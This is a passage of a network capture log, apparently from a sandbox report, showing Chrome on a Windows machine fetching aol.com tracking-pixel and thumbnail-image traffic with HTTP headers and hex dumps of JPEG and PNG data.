2024-05-23 22:34:55 UTC	353	IN	Data Raw: 65 22 2c 0a 20 20 22 73 68 6f 72 74 5f 6e 61 6d 65 22 3a 20 22 41 6f 6c 22 2c 0a 20 20 22 70 72 65 66 65 72 5f 72 65 6c 61 74 65 64 5f 61 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 20 74 72 75 65 2c 0a 20 20 22 72 65 6c 61 74 65 64 5f 61 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 20 5b 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 22 70 6c 61 74 66 6f 72 6d 22 3a 20 22 70 6c 61 79 22 2c 0a 20 20 20 20 20 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 70 6c 61 79 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 74 6f 72 65 2f 61 70 70 73 2f 64 65 74 61 69 6c 73 3f 69 64 3d 63 6f 6d 2e 61 6f 6c 2e 6d 6f 62 69 6c 65 2e 61 6f 6c 61 70 70 22 2c 0a 20 20 20 20 20 20 22 69 64 22 3a 20 22 63 6f 6d 2e 61 6f 6c 2e 6d 6f 62 69 6c 65 2e 61 6f 6c 61 70 70 22 0a 20 20 20 20 7d 2c 0a 20 20 Data Ascii: e", "short_name": "Aol", "prefer_related_applications": true, "related_applications": [ { "platform": "play", "url": "https://play.google.com/store/apps/details?id=com.aol.mobile.aolapp", "id": "com.aol.mobile.aolapp" },

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.6	49973	44.205.154.65	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:54 UTC	639	OUT	GET /j?se=e30&cd=.aol.com&dtstmp=1716503691207&tv=8.37.0&did=did-004f&wpn=prebid&pu=https%3A%2F%2Fwww.aol.com%2F&gpp_as=-1&us_privacy=1YNN&duid=b71ecbccbf34--01hyksffe3mmf10za80xj3k23t&gdpr=0&n3pc=true&gpp_s=DBAA HTTP/1.1 Host: rp.liadm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: lidid=fb1bd284-4b42-43cd-aa62-ef2fac9f5c13; lidid=fb1bd284-4b42-43cd-aa62-ef2fac9f5c13
2024-05-23 22:34:54 UTC	308	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:34:54 GMT Content-Type: application/json Content-Length: 13 Connection: close X-Pixel-Event-Id: d144e74d-4164-4c80-9178-1b1d13cc3c12 set-cookie: lidid=fb1bd284-4b42-43cd-aa62-ef2fac9f5c13; Max-Age=63072000; Domain=.liadm.com; Path=/j; Secure; SameSite=None
2024-05-23 22:34:54 UTC	13	IN	Data Raw: 7b 22 62 61 6b 65 72 73 22 3a 5b 5d 7d Data Ascii: {"bakers":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.6	49975	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:54 UTC	820	OUT	GET /images/dims?format=jpg&quality=80&thumbnail=600%2C450%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2024-05%2Ffa82eb60-1940-11ef-9be5-710e168cff37&client=76f99bdb8f78cd44cc0b&signature=4baafb651c71fe01f756a388a6e0e1a6f4b210fc HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:55 UTC	1152	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 8111 Cache-Control: public, max-age=2592000 Cache-Tag: 414452350963639776248346345998822437089,471859521075364146939495885775905046456,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000169-IAD cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_id: c4a9619dce10beb69d66bf2fd057cc65 cld_latency: 2337 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:34:55 GMT Edge-Cache-Tag: 414452350963639776248346345998822437089,471859521075364146939495885775905046456,ae7a14591aaf8d474cdb3f92111c923e Etag: "3efc29feec02a3a5cffbf7967f8fd0df" Last-Modified: Thu, 23 May 2024 20:13:59 GMT Server: ECAcc (lhd/35F8) Status: 200 OK Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=600,height=450,bytes=55192,owidth=5611,oheight=4212,obytes=2986136,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Request-Id: c4a9619dce10beb69d66bf2fd057cc65 X-Served-By: cache-iad-kiad7000169-IAD X-Timer: S1716495588.484657,VS0,VE2337 Content-Length: 55192 Connection: close
2024-05-23 22:34:55 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 02 40 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 02 30 41 44 42 45 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 d0 00 08 00 0b 00 13 00 33 00 3b 61 63 73 70 41 50 50 4c 00 00 00 00 6e 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 41 44 42 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 63 70 72 74 00 00 00 fc 00 00 00 32 64 65 73 63 00 00 01 30 00 00 00 6b 77 74 70 74 00 00 01 9c 00 00 00 14 62 6b 70 74 00 00 01 b0 00 00 00 14 72 54 52 43 00 00 01 c4 00 00 00 0e 67 54 52 43 00 00 01 d4 00 00 00 0e 62 54 52 43 00 00 01 e4 00 00 00 0e 72 Data Ascii: JFIF@ICC_PROFILE0ADBEmntrRGB XYZ 3;acspAPPLnone-ADBEcprt2desc0kwtptbkptrTRCgTRCbTRCr
2024-05-23 22:34:55 UTC	16383	IN	Data Raw: 63 6c 7c 8b cd e9 d2 57 af 4c e5 6e da bc 97 25 b1 2c 35 67 b2 e7 a8 97 d1 8e 85 a3 88 25 69 0f 66 e8 7d a9 b5 74 ad 8f 9e 69 80 09 56 59 51 d7 fa 18 9c ac 4d 18 f6 49 19 8b 4a 7b 4e 60 8c 85 97 96 32 70 55 95 02 72 3c ee 3e 60 fb 13 41 8f 9f 66 25 98 30 99 d5 8c a6 60 88 4c a9 21 59 54 b0 7a c3 a8 71 68 c8 91 06 2c 4d 95 12 7d 8a 99 8b 60 c4 3d c3 37 69 94 11 1b 5f b1 6f 68 69 cd 8d 75 71 27 a8 d1 70 a0 7a d6 29 3b 13 23 25 69 fe d3 1a 4c e9 1a c8 ad 01 bb 22 b6 97 89 61 99 02 47 22 da aa 9a 0f 14 6f 8b f9 26 94 a3 0e eb f6 b3 ca d0 06 f5 c7 4a f2 16 ec c5 d9 9f ed 23 f3 f8 e4 9f 1a d7 3c 52 b0 5a d7 2c 81 e4 70 cf 92 cc d6 c4 c1 ca 78 d8 2d 64 99 16 5f 0d f3 4f 1d c0 e1 ee a3 f3 23 9d 7b 36 a5 b3 31 85 8c d1 85 91 a4 84 87 30 a7 25 ac f0 44 8e ce 09 2c Data Ascii: cl\|WLn%,5g%if}tiVYQMIJ{N`2pUr<>`Af%0`L!YTzqh,M}`=7i_ohiuq'pz);#%iL"aG"o&J#<RZ,px-d_O#{610%D,
2024-05-23 22:34:55 UTC	16383	IN	Data Raw: cc b9 86 14 b3 df a0 fb 8c 4b 1b 26 c9 98 db 8b 06 99 17 9e 3d 7e 47 98 33 bc ed bd ea 33 30 d8 81 d8 2f dc 37 7b 33 af 90 84 88 e0 3c 38 c2 f4 99 28 0b a8 33 80 a4 71 12 83 1f 88 17 5c 49 8e 87 a4 4c 76 37 0a 10 6a 07 e3 40 9b 9e b2 9e 82 0c 97 08 b3 62 28 3d c4 2b 18 19 8d 7d c7 a7 d5 8b 94 08 dc f4 b1 c0 88 04 e4 8b f0 20 c8 bd a7 8d 0c f9 39 1e c3 5e 42 60 6b 4a f8 99 97 8b 9f bd c1 00 8a a2 63 6b 41 2a 2f 79 ed 3e 65 aa 12 7b cf 53 a6 a3 3e fa 4c 96 d3 d2 6f 88 aa 40 fb 85 80 eb 07 07 aa 8d 8d 6b bc 6c 6e bf 62 6f a4 e3 62 07 2b 12 88 06 1e 90 12 7a 89 56 62 90 a6 7a bf 50 e5 3f 33 93 1e a6 11 04 23 97 53 32 ad 3b 6e 09 81 f8 b8 fb d4 f1 09 c9 41 ee 20 8a 20 1d 7f 13 0b f1 b9 ea fd 4f 53 ea 7a 9f 50 31 3d e5 99 c8 4e 57 19 88 e9 39 31 13 19 1c 85 98 Data Ascii: K&=~G330/7{3<8(3q\ILv7j@b(=+} 9^B`kJckA*/y>e{S>Lo@klnbob+zVbzP?3#S2;nA OSzP1=NW91
2024-05-23 22:34:55 UTC	6043	IN	Data Raw: 22 6a 10 c0 b0 64 1f 66 11 74 d4 9f 68 ea 2b fb 4d ca 78 60 6c 0b ed 46 15 3c 86 a8 bd 2c bf f1 46 e6 af 95 17 db 98 e3 52 fa 1e 87 eb 1b 2b 67 9e 44 47 ac 30 34 98 fd a6 c4 3c ed 20 8b 1d fc cb 3d 5b af d0 f8 9b 88 3c c3 b2 fd cb 2d 17 8d 7d 31 6b 5e 47 49 e9 55 0f 57 dc 28 7d 00 30 10 ae 42 b8 60 09 ae a0 03 62 33 0f 26 1f cf a4 b6 dd 67 c4 3b ec 1d d7 06 e1 90 c4 9b 24 e6 10 18 02 4b 79 3e 39 89 b6 c0 be 3e 9d e1 0c 45 c1 a8 2b 85 07 b5 d4 e4 e6 e5 6b 3b 80 a7 b9 fe d5 d6 2b eb 32 83 ab aa 3a 9a e0 78 13 35 5f 69 70 aa 06 c2 84 dc 41 6e 4f 2b 32 38 67 a7 6f b6 02 af d8 5f 98 4b 17 f9 84 9c 92 4e 09 24 f3 c4 c8 e2 0d b5 c4 1c dc b3 29 7f 94 40 04 de 7a 4a e9 43 ac 20 f4 00 64 08 5b 6a 1b 1f 49 b3 4f b0 fd 2e 3e ab 01 6c 54 70 27 cb 21 f8 66 16 d8 e9 de Data Ascii: "jdfth+Mx`lF<,FR+gDG04< =[<-}1k^GIUW(}0B`b3&g;$Ky>9>E+k;+2:x5_ipAnO+28go_KN$)@zJC d[jIO.>lTp'!f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.6	49980	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:55 UTC	802	OUT	GET /images/dims?quality=80&thumbnail=400%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_insider_articles_823%2F09a9cc471b1d8644caedce552f0a4524&client=76f99bdb8f78cd44cc0b&signature=f0f7126aab31aca9e0c66417c364c5a6db5544b4 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:55 UTC	1134	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 774 Cache-Control: public, max-age=2592000 Cache-Tag: 385299480975236794453436102495515348809,367645156490926147778111915858571068248,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21981-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_id: 0929880e95cd5df48a86f4cbea9e23fb cld_latency: 471 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:34:55 GMT Edge-Cache-Tag: 385299480975236794453436102495515348809,367645156490926147778111915858571068248,ae7a14591aaf8d474cdb3f92111c923e Etag: "2b1f8fff010d419dc4263dd7cb0bf2dd" Last-Modified: Thu, 23 May 2024 22:20:35 GMT Server: ECAcc (lhd/35A8) Status: 200 OK Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=400,height=300,bytes=36746,owidth=1936,oheight=1452,obytes=490377,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Request-Id: 0929880e95cd5df48a86f4cbea9e23fb X-Served-By: cache-lga21981-LGA X-Timer: S1716502924.599900,VS0,VE471 Content-Length: 36746 Connection: close
2024-05-23 22:34:55 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 06 06 06 06 07 06 07 08 08 07 0a 0b 0a 0b 0a 0f 0e 0c 0c 0e 0f 16 10 11 10 11 10 16 22 15 19 15 15 19 15 22 1e 24 1e 1c 1e 24 1e 36 2a 26 26 2a 36 3e 34 32 34 3e 4c 44 44 4c 5f 5a 5f 7c 7c a7 01 0c 0c 0c 0c 0c 0c 0d 0e 0e 0d 12 13 11 13 12 1b 18 16 16 18 1b 28 1d 1f 1d 1f 1d 28 3d 26 2d 26 26 2d 26 3d 36 42 35 32 35 42 36 61 4c 44 44 4c 61 70 5e 59 5e 70 88 7a 7a 88 ab a3 ab e0 e0 ff ff c2 00 11 08 01 2c 01 90 03 01 11 00 02 11 01 03 11 01 ff c4 00 35 00 00 02 03 01 01 01 01 01 00 00 00 00 00 00 00 00 05 06 03 04 07 02 01 08 00 09 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 4d cd 34 b3 b8 d6 f3 cf 44 2c bc 5d a6 Data Ascii: JFIF""$$6&&6>424>LDDL_Z_\|\|((=&-&&-&=6B525B6aLDDLap^Y^pzz,5M4D,]
2024-05-23 22:34:55 UTC	16383	IN	Data Raw: 62 2b 66 f8 31 5f 7d bc cc e2 c8 f0 60 c6 aa 00 be d1 00 03 69 91 35 2e 9f 27 e4 b8 ee a0 12 c6 84 1c 00 3d 0c 06 67 f6 8f cc 51 76 7c 40 ea bd a8 c6 3a 8d 81 50 03 04 68 bc 4f e7 3e 12 5f b0 41 8d 01 f6 2c d0 b7 ed 1f f5 2d 47 81 19 f7 da 0b 8c be 40 30 e3 5f ea 20 0a bd a1 e7 d0 f1 f2 8e f2 c9 88 2e e3 93 a5 45 0a aa 30 d0 da 1a a8 8d 62 0e 26 35 b3 66 75 4f a5 08 d2 0e a8 9c 41 57 42 31 1a 92 f7 fb 43 f5 02 2a 74 e6 d9 87 88 f4 13 57 26 e0 75 6e 0c b9 56 40 1c 98 4b 6b d0 17 70 77 9d 47 4a 99 0e a3 66 bb 4c 4d 68 07 75 84 7a 09 9f da 3f 31 34 d9 d5 c4 18 99 b7 e0 42 a5 79 80 c0 63 45 e2 7f 39 ad fc cd 4e 7b 99 4f 34 34 d0 7c 4f 31 8e 4b 30 96 8d c0 87 d0 f1 f2 ac 22 29 20 ad 79 80 d5 0f 32 c8 62 61 5d 84 07 eb 20 43 94 e9 da 61 ea 4d 0c 7d ef 99 90 1b Data Ascii: b+f1_}`i5.'=gQv\|@:PhO>_A,-G@0_ .E0b&5fuOAWB1C*tW&unV@KkpwGJfLMhuz?14BycE9N{O44\|O1K0") y2ba] CaM}
2024-05-23 22:34:55 UTC	3980	IN	Data Raw: ab 7c 47 d9 26 d9 83 35 73 c1 bd a1 91 c7 46 71 90 4d 39 3a 49 50 48 89 1f 45 d0 35 18 1c bb 1d ba 56 da 57 51 50 c5 ce e6 69 08 50 c5 c0 fc 01 2d 15 e0 dd 56 28 fa 58 12 ac 3c c5 1b a8 3f ca 01 14 30 63 d9 a4 db ee 9f d6 ad 99 ff 00 29 fd 6a 30 2a 4d 12 3c f3 5c 4b 5c 1b dd 42 ca a4 1f be 5b 14 38 6e ea 9a ae 55 ee 26 e1 cb bd e2 58 13 fc 35 69 7b 0d 11 46 e9 c4 a0 ed ea 69 1a 51 b4 06 55 63 aa 30 2a ed 8b 80 82 15 c6 82 46 da 85 41 16 b5 6b d7 be a2 69 48 8b 98 65 2e 0c 8e c2 ad b9 d0 cb a7 f6 56 59 d4 07 de 20 13 41 26 d1 68 d0 82 3c 43 3d cd 32 86 65 46 05 95 39 49 41 03 48 a6 66 55 07 4d b5 99 2f 90 27 26 8a 28 f0 ed 3e ac 96 45 00 98 93 b9 9a 0d a6 cb 3a a9 f6 b1 bd 4a de 53 ab bd b6 33 07 df b5 45 c1 75 99 80 38 20 13 1b 51 53 61 7d d0 31 44 11 c4 Data Ascii: \|G&5sFqM9:IPHE5VWQPiP-V(X<?0c)j0M<\K\B[8nU&X5i{FiQUc0FAkiHe.VY A&h<C=2eF9IAHfUM/'&(>E:JS3Eu8 QSa}1D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.6	49982	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:55 UTC	796	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2022-08%2Fad2d2080-2313-11ed-9e3d-51ec3c56fd90&client=76f99bdb8f78cd44cc0b&signature=10ddf11bf32700a5835fe3df94d55446705089b2 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:55 UTC	1515	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 140402 Cache-Control: public, max-age=2592000 Cache-Tag: 248147822177007699352378062138969445230,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000133-IAD cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 104 Content-Type: image/png Date: Thu, 23 May 2024 22:34:55 GMT Edge-Cache-Tag: 248147822177007699352378062138969445230,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "9a6ea13acfa70b31d98e1495478ba842" Expiration: expiry-date="Sat, 20 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sun, 21 Jan 2024 22:37:41 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35A2) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=217,owidth=400,oheight=401,obytes=16218,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000125-IAD X-Timer: S1711179293.982695,VS0,VE1 Content-Length: 217 Connection: close
2024-05-23 22:34:55 UTC	217	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 04 03 00 00 00 ed dd e2 52 00 00 00 2d 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff c7 c7 c7 d1 d1 d1 a7 a7 a7 ba ba ba cd cd cd e6 e6 e6 4b bd 07 18 00 00 00 08 74 52 4e 53 00 09 9a f9 d9 97 31 c1 52 98 bd 89 00 00 00 53 49 44 41 54 08 d7 63 60 60 48 75 36 09 63 00 02 a1 0e 20 50 64 60 60 ac 00 31 da 05 18 98 3a c0 40 81 21 03 c2 68 63 88 80 30 5a 19 3c 20 8c 16 06 8b 95 b3 56 cd 99 75 b6 99 c1 62 e6 be 9d a7 cf ee 6c 46 48 c1 15 c3 b5 c3 0d 84 5b 01 b7 14 e6 0c 00 31 37 36 24 7b bb 01 f3 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRR-PLTEGpLKtRNS1RSIDATc``Hu6c Pd``1:@!hc0Z< VublFH[176${IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.6	49981	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:55 UTC	802	OUT	GET /images/dims?quality=80&thumbnail=500%2C500%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_insider_articles_823%2Fd52b20a7b736dcb9c14eb87515b8b5b8&client=76f99bdb8f78cd44cc0b&signature=a9e3ab5f8833ee12bf23781da21871c0b80dcd41 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:55 UTC	1510	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 771 Cache-Control: public, max-age=2592000 Cache-Tag: 327571915527804521673552094212849699274,235340640676375132590402367885429670181,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21952-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: 59e38515ea9a07c1c33af807c3caff6d cld_latency: 646 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:34:55 GMT Edge-Cache-Tag: 327571915527804521673552094212849699274,235340640676375132590402367885429670181,ae7a14591aaf8d474cdb3f92111c923e Etag: "dafcabca14fe336b73415cfa63fded79" Last-Modified: Thu, 23 May 2024 22:22:05 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35C1) Status: 200 OK Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=500,height=500,bytes=68669,owidth=4032,oheight=3024,obytes=2310323,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Request-Id: 59e38515ea9a07c1c33af807c3caff6d X-Served-By: cache-lga21952-LGA X-Timer: S1716502924.292066,VS0,VE646 Content-Length: 68669 Connection: close
2024-05-23 22:34:55 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 05 05 05 05 05 05 06 06 06 06 08 09 08 09 08 0c 0b 0a 0a 0b 0c 12 0d 0e 0d 0e 0d 12 1b 11 14 11 11 14 11 1b 18 1d 18 16 18 1d 18 2b 22 1e 1e 22 2b 32 2a 28 2a 32 3c 36 36 3c 4c 48 4c 64 64 86 01 05 05 05 05 05 05 06 06 06 06 08 09 08 09 08 0c 0b 0a 0a 0b 0c 12 0d 0e 0d 0e 0d 12 1b 11 14 11 11 14 11 1b 18 1d 18 16 18 1d 18 2b 22 1e 1e 22 2b 32 2a 28 2a 32 3c 36 36 3c 4c 48 4c 64 64 86 ff c2 00 11 08 01 f4 01 f4 03 01 22 00 02 11 01 03 11 01 ff c4 00 35 00 00 01 04 03 01 01 00 00 00 00 00 00 00 00 00 00 05 03 04 06 07 00 02 08 01 09 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 03 00 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 ad 66 55 34 eb c3 eb 5c bc 39 cf 26 76 Data Ascii: JFIF+""+2(2<66<LHLdd+""+2(2<66<LHLdd"5fU4\9&v
2024-05-23 22:34:55 UTC	16383	IN	Data Raw: ea 3a 53 ea f2 8c 6b 8c 95 a3 9e 38 e2 54 51 18 d2 9f d7 ec f3 d1 b4 ac ae b6 0d bc da cb f4 66 bf d8 fd 3b ca 79 08 89 8b 09 25 24 74 7b f0 74 47 7e a3 d4 ff 00 83 ff 00 c0 65 ec 1f ca a8 03 bf 0b ff 00 b1 87 98 72 0f 8d 23 fb fa fc cb 59 0b 31 af 47 9d 5e a7 0a c6 28 0f a8 38 d2 fb 09 85 0f a9 bc 7a 0f 54 7b f0 73 ae 11 34 a9 f3 72 1e 53 f5 23 19 1e 65 c9 99 57 53 93 68 3d 99 98 70 fa b2 10 5e e5 ce 1d 35 49 1b f6 0e 3a cc c1 42 1c 68 81 f8 85 07 c3 94 7a 1f b2 4c 89 80 e9 e9 9c 7d 3f ee fd 34 e1 ee 45 11 97 ed 22 a1 a3 28 1d 47 2d 10 50 97 86 27 d4 e3 76 fe ea a9 a6 df aa 48 6d 61 4d 8f f5 3f ea 26 4f 42 0e 47 9f ff 00 12 9c a2 a3 88 f4 71 aa 7f c4 77 1e b9 d2 e8 71 da d2 fd 3b fa a1 9f 3d 7a 95 6e 70 6b b8 bb 53 63 5e 8b 56 a4 b5 5d a2 95 74 94 ba 51 Data Ascii: :Sk8TQf;y%$t{tG~er#Y1G^(8zT{s4rS#eWSh=p^5I:BhzL}?4E"(G-P'vHmaM?&OBGqwq;=znpkSc^V]tQ
2024-05-23 22:34:55 UTC	16383	IN	Data Raw: 97 26 36 0d e2 cb b8 be c1 a6 76 74 c8 ca 5d cf 3c 4d 8a 08 05 8d 91 dc c2 8b 7d 0f f3 06 35 23 85 1d 61 15 54 16 7a bf 72 ff 00 10 63 d6 a8 6f ec ad 05 b0 77 51 27 e6 26 10 75 58 99 75 08 51 81 22 8d 53 7c f8 99 7c c5 50 15 d0 11 cf bc 61 ab 62 85 31 e3 63 76 d6 df ea e3 60 d5 e5 52 a5 7c b5 af 89 4f a8 1f e2 60 c0 71 e3 0b d7 ad 9a e6 7e 56 d9 5f 6b d0 ec 05 03 17 31 c7 e8 c4 ab 7d b7 1e 93 26 a3 3e e6 c8 c9 b8 58 24 d9 23 8f 61 50 7e 2b 97 22 02 94 08 1c 8d b1 4e 77 f5 64 2b 7f 7f fe 26 5f 30 a8 55 16 43 58 2c 66 9f 0e a1 05 bb 27 3d 40 53 06 2c 7f af 38 1e e3 ff 00 c6 79 3a 42 45 e6 6f b4 c7 83 46 58 9d f9 22 e1 d2 8a ac 8f c7 48 3f 0d fc 3b 73 9d cd 6c 6c d9 eb 1f 45 a6 c9 b6 9f a1 14 05 41 a2 5c 60 ed 63 c9 b8 fc 02 b6 0d 42 e2 f9 8e ca ce 49 6a 9f Data Ascii: &6vt]<M}5#aTzrcowQ'&uXuQ"S\|\|Pab1cv`R\|O`q~V_k1}&>X$#aP~+"Nwd+&_0UCX,f'=@S,8y:BEoFX"H?;sllEA\`cBIj
